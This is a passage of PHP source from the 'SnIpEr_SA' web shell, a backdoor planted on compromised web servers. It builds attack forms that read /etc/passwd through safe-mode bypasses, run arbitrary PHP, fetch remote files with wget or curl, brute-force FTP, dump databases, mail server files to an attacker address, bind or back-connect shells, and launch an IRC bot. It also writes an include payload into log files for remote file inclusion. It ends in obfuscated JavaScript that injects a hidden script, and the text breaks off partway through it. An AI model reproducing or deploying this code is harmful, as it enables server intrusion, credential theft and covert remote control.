  4487. echo sr(15,"<b>".$lang[$language.'_text205'].$arrow."</b>",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'Ea ONÚ ÇáÔá aEAaßÇäß ÇÓEÎIÇaa filename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
  4488. echo $te.'</div>'.$table_end1.$fe;
  4489. echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id3').$table_up2.div('id3').$ts;
  4490. echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
  4491. echo $te.'</div>'.$table_end1.$fe;
  4492. echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id3').$table_up2.div('id3').$ts;
  4493. echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
  4494. echo $te.'</div>'.$table_end1.$fe;
  4495.  
  4496. echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id11').$table_up2.div('id11').$ts;
  4497. echo "<table class=table1 width=100% align=center>";
  4498. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  4499. echo $te.'</div>'.$table_end1.$fe;
  4500.  
  4501. echo $table_up1.div_title($lang[$language.'_text211'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  4502. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text212']."</div></b></font>";
  4503. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','php_ini1',10,'php.ini').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
  4504. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>";
  4505. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
  4506. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>";
  4507. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','file_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
  4508. echo $te.'</div>'.$table_end1.$fe;
  4509. echo $fs.$table_up1.div_title($lang[$language.'_text221'],'id15').$table_up2.div('id15').$ts;
  4510. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','funzip',78,"$dir/file"));
  4511. echo sr(15,"<b>".$lang[$language.'_text65'].$arrow."</b>",in('text','fzip',105,"$dir/sploitz.zip").ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  4512. echo $te.'</div>'.$table_end1.$fe;
  4513. echo $fs.$table_up1.div_title($lang[$language.'_text219'],'id15').$table_up2.div('id15').$ts;
  4514. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','filefrom',78,'http://website.com/file.txt'));
  4515. echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('text','fileto',105,filename_.php).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  4516. echo $te.'</div>'.$table_end1.$fe;
  4517.  
  4518. $aliases2 = '';
  4519. foreach ($aliases as $alias_name=>$alias_cmd)
  4520.  {
  4521.  $aliases2 .= "<option>$alias_name</option>";
  4522.  }
  4523. echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
  4524. echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  4525. echo $te.'</div>'.$table_end1.$fe;
  4526.  
  4527. }
  4528.  
  4529. if($safe_mode){
  4530. echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
  4531. echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
  4532. echo $te.'</div>'.$table_end1.$fe;
  4533. }
  4534. if($safe_mode && $unix){
  4535. echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts;
  4536. echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  4537. echo $te.'</div>'.$table_end1.$fe;
  4538. }
  4539. if($safe_mode){
  4540.  
  4541. echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
  4542. echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  4543. echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  4544. echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
  4545. echo $te.'</div>'.$table_end1.$fe;
  4546. if(!$safe_mode && $unix){
  4547. echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
  4548. echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  4549. echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  4550. echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
  4551. echo $te.'</div>'.$table_end1.$fe;
  4552. }
  4553. echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
  4554. echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>";
  4555. echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"sniper_sa.php\");\r\n//readfile(\"/etc/passwd\");"));
  4556. echo "</textarea>";
  4557. echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
  4558. echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
  4559. echo "</div></div></font>";
  4560. echo $table_end1.$fe;
  4561. if($safe_mode&&$curl_on)
  4562. {
  4563. echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
  4564. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  4565. echo $te.'</div>'.$table_end1.$fe;
  4566. }
  4567. }
  4568. if($safe_mode)
  4569. {
  4570. echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
  4571. echo "<table class=table1 width=100% align=center>";
  4572. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  4573. echo $te.'</div>'.$table_end1.$fe;
  4574. }
  4575.  
  4576.  
  4577. if($safe_mode&&$mssql_on)
  4578. {
  4579. echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
  4580. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
  4581. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  4582. echo $te.'</div>'.$table_end1.$fe;
  4583. }
  4584. if($safe_mode&&$unix&&function_exists('mb_send_mail')){
  4585. echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
  4586. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  4587. echo $te.'</div>'.$table_end1.$fe;
  4588. }
  4589. if($safe_mode&&function_exists('imap_list')){
  4590. echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
  4591. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  4592. echo $te.'</div>'.$table_end1.$fe;
  4593. }
  4594. if($safe_mode&&function_exists('imap_body')){
  4595. echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
  4596. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  4597. echo $te.'</div>'.$table_end1.$fe;
  4598. }
  4599. if($safe_mode)
  4600. {
  4601. echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
  4602. echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
  4603. echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  4604. echo $te.'</div>'.$table_end1.$fe;
  4605. }
  4606. if(@ini_get('file_uploads')){
  4607. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  4608. echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
  4609. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,''));
  4610. echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  4611. echo $te.'</div>'.$table_end1.$fe;
  4612. }
  4613. if(!$safe_mode&&$unix){
  4614. echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
  4615. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
  4616. echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  4617. echo $te.'</div>'.$table_end1.$fe;
  4618. }
  4619. echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
  4620. echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
  4621. $arh = $lang[$language.'_text92'];
  4622. if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
  4623. if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
  4624. if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
  4625. echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
  4626. echo $te.'</div>'.$table_end1.$fe;
  4627. if(@function_exists("ftp_connect")){
  4628. echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  4629. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
  4630. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  4631. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  4632. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  4633. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
  4634. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  4635. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  4636. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
  4637. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  4638. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
  4639. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  4640. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  4641. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  4642. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  4643. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
  4644. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  4645. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
  4646. echo $te."</td>".$fe."</tr></div></table>";
  4647. }
  4648. if($unix && @function_exists("ftp_connect")){
  4649. echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
  4650. echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  4651. echo sr(15,"","<font face=tahoma size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
  4652. echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
  4653. echo $te.'</div>'.$table_end1.$fe;
  4654. }
  4655. if(@function_exists("mail")){
  4656. echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  4657. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
  4658. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
  4659. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  4660. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
  4661. echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
  4662. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  4663. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  4664. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
  4665. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
  4666. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  4667. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from sniper_sa shell"))));
  4668. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  4669. echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
  4670. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  4671. echo $te."</td>".$fe."</tr></div></table>";
  4672. }
  4673. if($mysql_on||$mssql_on||$pg_on||$ora_on)
  4674. {
  4675. $select = '<select name=db>';
  4676. if($mysql_on) $select .= '<option>MySQL</option>';
  4677. if($mssql_on) $select .= '<option>MSSQL</option>';
  4678. if($pg_on)    $select .= '<option>PostgreSQL</option>';
  4679. if($ora_on)   $select .= '<option>Oracle</option>';
  4680. $select .= '</select>';
  4681. echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  4682. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
  4683. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  4684. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  4685. echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  4686. echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
  4687. echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
  4688. echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
  4689. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  4690. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
  4691. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  4692. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  4693. echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  4694. echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  4695. echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
  4696. echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";
  4697. }
  4698. if(!$safe_mode&&$unix){
  4699. echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  4700. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
  4701. echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'9999'));
  4702. echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'SnIpEr'));
  4703. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  4704. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
  4705. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  4706. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  4707. echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
  4708. echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'80'));
  4709. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  4710. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  4711. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  4712. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
  4713. echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'80'));
  4714. echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
  4715. echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));
  4716. echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
  4717. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
  4718. echo $te."</td>".$fe."</tr></div></table>";
  4719. }
  4720.  
  4721. if($unix){
  4722. echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  4723. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
  4724. echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3']));
  4725. echo $te."</td>".$fe."</tr></div></table>";
  4726. echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  4727. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  4728. echo sr(40,"<b>".$lang[$language.'_text214'].$arrow."</b>",in('text','ircadmin',15,'ircadmin'));
  4729. echo sr(40,"<b>".$lang[$language.'_text215'].$arrow."</b>",in('text','ircserver',15,'ircserver'));
  4730. echo sr(40,"<b>".$lang[$language.'_text216'].$arrow."</b>",in('text','ircchanal',15,'ircchanl'));
  4731. echo sr(40,"<b>".$lang[$language.'_text217'].$arrow."</b>",in('text','ircname',15,'ircname'));
  4732. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  4733. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  4734. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  4735. echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ips',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
  4736. echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','ports',15,'80'));
  4737. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
  4738. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  4739.  
  4740. echo $te."</td>".$fe."</tr></div></table>";
  4741. }
  4742. echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>o---[ SnIpEr_SA Shell  | <a href=http://sniper-sa.com>http://sniper-sa.com</a> | <a SnIpEr.SA@hotmail.com>sniper.sa@hotmail.com</a> | EÚNíE aEOaíN ]---o</b></font></div></td></tr></table>".$f;
  4743.  
  4744. if(empty($_POST['log'])){
  4745. } else {
  4746. $log=$_POST['log'];
  4747. echo  error_log("<? print include(\$_GET[ss]) ?>", 3,$log);
  4748. echo "</textarea></CENTER>";
  4749. }
  4750. ?>  <script type="text/javascript" language="javascript">
  4751. <!--
  4752. fF7eSD8=new Array();
  4753. fF7eSD8[0]="%3Cscript%3E%0Adocu";
  4754. fF7eSD8[1]="ment.write%28une";
  4755. fF7eSD8[2]="scape%28%22%253Cscri";
  4756. fF7eSD8[3]="pt%2520type%253D%25";
  4757. fF7eSD8[4]="22text/javascr";
  4758. fF7eSD8[5]="ipt%2522%253Edo";
  4759. fF7eSD8[6]="cument.write%25";
  4760. fF7eSD8[7]="28%2527%255Cu00";
  4761. fF7eSD8[8]="3c%255Cu0073%255C";
  4762. fF7eSD8[9]="u0063%255Cu0072";
  4763. fF7eSD8[10]="%255Cu0069%255Cu";
  4764. fF7eSD8[11]="0070%255Cu007";
  4765. fF7eSD8[12]="4%255Cu0020%255C";
  4766. fF7eSD8[13]="u0074%255Cu007";
